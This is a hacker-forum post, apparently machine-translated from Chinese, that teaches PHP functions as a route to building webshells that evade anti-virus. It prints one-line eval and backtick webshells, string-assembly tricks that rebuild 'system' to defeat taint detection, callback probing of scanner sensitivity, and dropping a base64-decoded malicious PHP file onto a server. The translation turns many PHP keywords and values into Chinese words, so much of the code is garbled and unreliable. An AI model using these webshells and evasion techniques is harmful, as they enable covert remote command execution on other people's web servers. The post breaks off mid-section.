跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

PHP从零学习到Webshell免杀手册

精选回复

发布于

1.PHP相关信息

PHP官方手册:https://www.php.net/manual/zh/PHP函数参考:https://www.php.net/manual/zh/funcref.php新手教程:https://www.runoob.com/php/php-tutorial.htmlw3school:https://www.w3school.com.cn/php/index.asp元龙二段安全团队导航: https://dh.aabyss.cn

2。 PHP函数快速检查

0# PHP 基础知识

0.0 PHP基本格式

?php

//执行相关PHP代码

这是PHP 文件的基本形式

0.1 .= 和 += 赋值

$a='a'; //赋值

$b='b'; //赋值

$c='c'; //赋值

$c .=$a;

$c .=$b;

回显$c; //出租车

.=通俗来说,就是累加+=的意思,意思是:左边变量的值与右边变量的值相加,然后赋值给左边变量。

0.2 数组

array() 函数用于创建数组$shuzu=array('AabyssZG','AabyssTeam');

回显“我的名字是”。 $shuzu[0] 。 ',我的团队是'。 $shuzu[1] 。 '.';

//我的名字是AabyssZG,我的团队是AabyssTeam。

数组可以嵌套:$r='b[]=AabyssZGb[]=system';

$rce=数组(); //使用数组函数创建数组

parse_str($r, $rce); //这个函数下面会讨论

print_r($rce);

$rce 数组输出为:

数组(

[b]=数组

[0]=深渊ZG

[1]=系统

这时候你可以这样使用

$rce['b'][1](参数); //提取rce数组中b数组的内容,相当于system(parameter)

回声$rce['b'][0]; //AabyssZG

使用[] 定义数组$z=['A','a','b', 'y', 's', 's'];

$z[0]='A';

$z[1]='a';

$z[2]='b';

$z[3]='y';

$z[4]='s';

$z[5]='s';

这是一个基本数组。该数组名为z,数组的第一个成员是0,依此类推。

Compact() 函数用于创建数组。创建一个包含变量名称及其值的数组$firstname='Aabyss';

$姓氏='ZG';

$年龄='21';

$结果=紧凑('名字', '姓氏', '年龄');

print_r($结果);

数组输出为:

数组( [名字]=Aabyss [姓氏]=ZG [年龄]=21 )

0.3 连接器

。最简单的连接器$str1='hello';

$str2='世界';

回显$str1.$str2; //你好世界

0.4 运算符

我不需要解释运算符加法、减法、乘法和除法。

($var 1) //如果$var为奇数,则返回true;如果是偶数,则返回false

在某些情况下需要逻辑运算符,尤其是异或异或运算符。

xor.png

0.5 常数

自定义常量define('-_-','smile'); //从特殊符号开始,定义特殊常量

定义(“我”,3.14);

常量沃=3;

不变的命名规则

常量不需要使用$符号。一旦使用,系统就会认为它们是变量;常量名称由字母、数字和下划线组成,不能以数字开头;常量的名称通常以大写字母开头,以区别于变量;常量的命名规则比变量宽松,可以使用一些特殊字符。该方法只能使用define来定义; __FILE__ 常量(魔术常量) __FILE__ //返回文件的完整路径和文件名

dirname(__FILE__) //返回从文件所在当前目录到系统根目录的目录结构(即代码所在脚本的路径,不会返回当前文件名)

其他魔法常量__DIR__ //当前执行的步骤所在计算机的绝对路径

__LINE__ //当前显示的行数

__NAMESPACE__ //当前所属的命名空间

__CLASS__ //当前所属类

__METHOD__ //当前方法

0.6 PHP 功能

PHP 中的函数名称、方法名称和类名称不区分大小写。常量和变量区分大小写。在某些环境中,php?未关闭且无法正常工作。

0.7 PHP标签的几种编写方式

常用的是第一种和第二种方法。

第一种类型:php?

第二种:php

第三种:

第四种:%%

第五种:脚本语言='php'/script

第三种和第四种是短标签。使用时需要在php.ini文件中启用short_open_tag,否则会报错。

0.8 $_POST 变量

在PHP 中,预定义的$_POST 变量用于从method='post' 的表单中收集值

$num1=$_POST['num1'];

$num2=$_POST['num2'];

打印_r($_POST);

当您在HTTP数据包Body中传递参数时:

数字1=1 数字2=2

获取回声:

数组

[数字1]=1

[数字2]=2

1#回调类型函数

1.0提示

PHP WebSehll防病毒测试时,可以通过回调函数来了解防病毒引擎对函数和函数参数是否有相应的敏感度。

array_map('system', array('whoami')); //检测到

array_map($_GET['a'], array('whoami')); //检测到

array_map('var_dump', array('whoami')); //未检测到

array_map('system', array($_GET['a'])); //检测到

下面是一些回调函数。有兴趣的可以自行查找:

数组过滤器()

array_walk()

数组映射()

array_reduce()

array_walk_recursive()

call_user_func_array()

call_user_func()

过滤器_var()

filter_var_array()

registerregister_shutdown_function()

注册_tick_函数()

forward_static_call_array()

uasort()

英国排序()

1.1 array_map()

array_map() 函数将用户定义的函数应用于数组中的每个值,并在应用用户定义的函数后返回包含新值的数组。演示:将该函数应用于数组中的每个值,将每个值与其自身相乘,然后返回包含新值的数组:

函数myfunction($v)

{

返回($v*$v);

}

$a=数组(1,2,3,4,5); //数组(1,4,9,16,25)

print_r(array_map('myfunction',$a));

1.2 register_shutdown_function()

register_shutdown_function() 函数用于注册PHP 挂起时将执行的函数。 PHP暂停的情况有以下三种:

执行完成并退出/死亡导致致命错误。 Demo因致命错误而终止:后面没有任何输出,即exit或die方法导致提前终止。

功能测试()

{

echo '这是中止方法测试的输出';

}

register_shutdown_function('测试');

echo '之前' .PHP_EOL;

出口();

echo '之后' .PHP_EOL;

输出:

之前

这是abort 方法测试的输出

1.3 array_walk()

array_walk()函数对数组中的每个元素应用用户自定义的函数Demo:这个很简单,直接看就明白了

函数myfunction($value,$key,$p)

{

echo '关键$key $p $valuebr';

}

$a=array('a'='红色','b'='绿色','c'='蓝色');

array_walk($a,'myfunction','有值');

输出:

键a 的值为red

键b 的值为绿色

键c 的值为blue

1.4 array_filter()

array_filter() 函数使用回调函数来过滤数组中的元素。该函数将输入数组中的每个键值传递给回调函数:如果回调函数返回true,则将输入数组中的当前键值返回到结果数组(数组键名称保持不变)

演示:

函数test_odd($var)

{

返回($var 1);

}

$a1=数组('a','b',2,3,4);

print_r(array_filter($a1,'test_odd'));

输出:

数组([3]=3)

1.5 foreach()

foreach()方法用于调用数组的每个元素并将元素传递给回调函数。 foreach 语法结构提供了一种遍历数组的简单方法。 foreach 只能应用于数组和对象。如果您尝试将其应用于其他数据类型的变量或未初始化的变量,将会发出错误消息。

演示:

$arr=数组(1,2,3,4);

//使用foreach处理$arr

foreach($arr 为$k=$v) {

$arr[$k]=2 * $v;

}

print_r($arr);

输出:

数组

[0]=2

[1]=4

[2]=6

[3]=8

1.6 isset()

isset()函数用于检测变量是否已设置且不为NULLisset在PHP中用于判断变量是否被声明。该函数返回一个Boolean类型值,即true/false

isset 只能与变量一起使用,因为传递任何其他参数都会导致解析错误

演示:

$var='';

//结果为TRUE,因此将打印以下文本。

如果(isset($var)){

echo '变量已设置。 ' .PHP_EOL;

}

//在下面的示例中,我们将使用var_dump输出isset()的返回值。

//isset() 的返回值。

$a='测试';

$b='另一个测试';

var_dump(isset($a)); //正确

var_dump(isset($a, $b)); //正确

未设置($a);

var_dump(isset($a)); //假

var_dump(isset($a, $b)); //假

$foo=NULL;

var_dump(isset($foo)); //假

输出:

布尔(真)

布尔(真)

布尔(假)

布尔(假)

布尔(假)

2#字符串处理函数

2.0提示

您可以定义自己的函数来形成字符串的拼接方法,例如:

函数混淆($a){

$s=['A','a','b','y','s','s','T','e','a','m'];

$tmp='';

而($a10){

$tmp .=$s[$a%10];

$a=$a/10;

}

返回$tmp.$s[$a];

}

回声混乱(976534); //sysTem(高风险函数)

此时将参数976534传递给$a即可拼接系统

同样,字符串处理函数还有很多,可以参考以下:

Trim() //去除字符串两端的空白字符和其他预定义字符

ucfirst() //将字符串中的第一个字符转换为大写

ucwords() //将字符串中每个单词的第一个字符转换为大写

strtoupper() //将字符串转换为大写

strtolower() //将字符串转换为小写

strtr() //转换字符串中的特定字符

substr_replace() //用另一个字符串替换部分字符串

substr() //返回字符串的一部分

strtok() //将字符串分割成更小的字符串

str_rot13() //对字符串进行ROT13编码

2.1 substr()

substr()函数返回部分字符串演示:相当于截取固定长度和开头字段

echo substr('D://system//451232.php', -10, 6).'br'; //451232

echo substr('AabyssTeam', 0, 6).'br'; //深渊

2.2 intval()

intval() 获取变量的整数值int intval(var,base) //var 指要转换成整数的数量值,base 指转换时使用的基数

如果基数为0,则通过检查var的格式来确定使用的基数:

如果字符串包含0x(或0X)前缀,则使用十六进制(hex);否则,如果字符串以0开头,则使用八进制(octal);否则,使用十进制(decimal)。成功时返回var的整数值,失败时返回0。空数组返回0,非空数组返回1演示:获取对应的整数值

回声间隔(042); //34

回显intval(0x1A); //26

回显intval(42); //42

回显intval(4.2); //4

2.3 parse_str()

parse_str()函数将查询字符串解析为变量演示:这个也很简单,看例子就明白了

parse_str('name=Peterage=43');

回声$name.'br'; //彼得

回显$年龄; //43

parse_str('name=Peterage=43',$myArray);

print_r($myArray); //数组([姓名]=彼得[年龄]=43)

2.4 包()

pack()函数加载数据为二进制字符串Demo:简单来说,就是将指定的编码数转换为字符串

回显包('C3',80,72,80); //ASCII编码转换为PHP

echo pack('H*',4161627973735465616d); //将十六进制编码转换为AabyssTeam

其他参数请参考新手教程:https://www.runoob.com/php/func-misc-pack.html

3#命令执行函数

3.0提示

命令执行功能在“某些情况”下非常危险,因此经常被杀毒软件和WAF重点关注。因此,在躲避检测时,为了绕过污点检测,往往会通过对命令执行函数进行拼接、重组、加密、混淆等方式来躲避检测。

3.1 eval()

eval()函数根据PHP代码计算字符串,即执行PHP代码演示:根据PHP代码执行内容

echo 'echo '我想学php''; //echo '我想学php'

eval('echo '我想学php';'); //'我想学习php'

演示:一句话,木马将参数传递给eval()函数执行。

@eval($_POST['AabyssTeam']);

3.2 系统()

system()函数的主要作用是在系统权限允许的情况下执行系统命令(在Windows和Linux系统上都可以执行)。演示:执行Whoami 并echo

系统('whoami');

3.3 exec()

exec() 函数可以执行系统命令,但不会直接输出结果。相反,它会将执行结果保存到数组中。演示:将exec() 函数执行的结果导入到结果数组中。

exec( 'ls' , $结果);

print_r($结果); //数组([0]=index.php)

3.4 shell_exec()

shell_exec()函数可以执行系统命令,但不会直接输出执行结果。相反,它返回一个字符串类型变量来存储系统命令的执行结果。演示:执行ls命令

回声shell_exec('ls'); //索引.php

3.5 passthru()

passthru()函数可以执行系统命令并将执行结果输出到页面。与system()函数不同,它支持二进制数据。使用时可以直接在参数中传递字符串类型的系统命令。

演示:执行ls命令

通道('ls'); //索引.php

3.6 popen()

popen()函数可以执行系统命令,但不会输出执行结果。相反,它返回一个资源类型变量来存储系统命令的执行结果。因此,需要配合fread()函数来读取命令的执行结果。

演示:执行ls命令

$结果=popen('ls', 'r'); //参数1:执行ls命令参数2:字符串类型

回声fread($结果, 100); //上面参数1:生成的资源。参数2:读取100个字节。

3.7 反引号``

反引号可以执行系统命令,但不会输出结果。相反,它们返回一个字符串类型变量来存储系统命令的执行结果。它们可以单独使用,也可以与其他命令执行函数结合使用,以绕过参数中的过滤条件。

演示:执行ls命令

回显“ls”; //索引.php

因此,通过这个你可以写出几乎最短的Webshell

?=`$_GET[1]`;

4# 文件写入类函数

4.0提示

在防止Webshell被查杀的过程中,有人找到了另一种方法:通过执行执行内容为“编写恶意PHP”的样本来绕过查杀。执行成功后会在指定目录写入恶意PHP文件,最终通过连接恶意PHP文件获取WebShell。

4.1 fwrite()

fwrite() 函数用于写入文件。如果执行成功,则返回写入的字节数;如果失败,则返回FALSEDemo:Write Hello World。测试!测试.txt

$file=fopen('test.txt','w');

echo fwrite($file,'Hello World.测试!'); //21

fclose($文件);

4.2 file_put_contents()

file_put_contents() 函数将字符串写入文件。如果该文件不存在,则会创建一个文件。

演示:使用FILE_APPEND标签将内容追加到文件末尾

$file='sites.txt';

$site='\nGoogle';

file_put_contents($file, $site, FILE_APPEND);

同时该函数可以与解密函数一起使用来写入文件,例如:

$datatest='[文件的base64编码]';

file_put_contents('./要写入的文件名', base64_decode($datatest));

5#异常处理函数

5.0提示

在PHP异常处理中,异常处理的相关功能引起了安全行业人员的关注。可以构造相关异常处理来绕过WAF识别和检测。

5.1 异常类

Exception 类是PHP 中所有异常的基类。该类包含以下方法:

__construct //异常构造函数

获取消息/

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。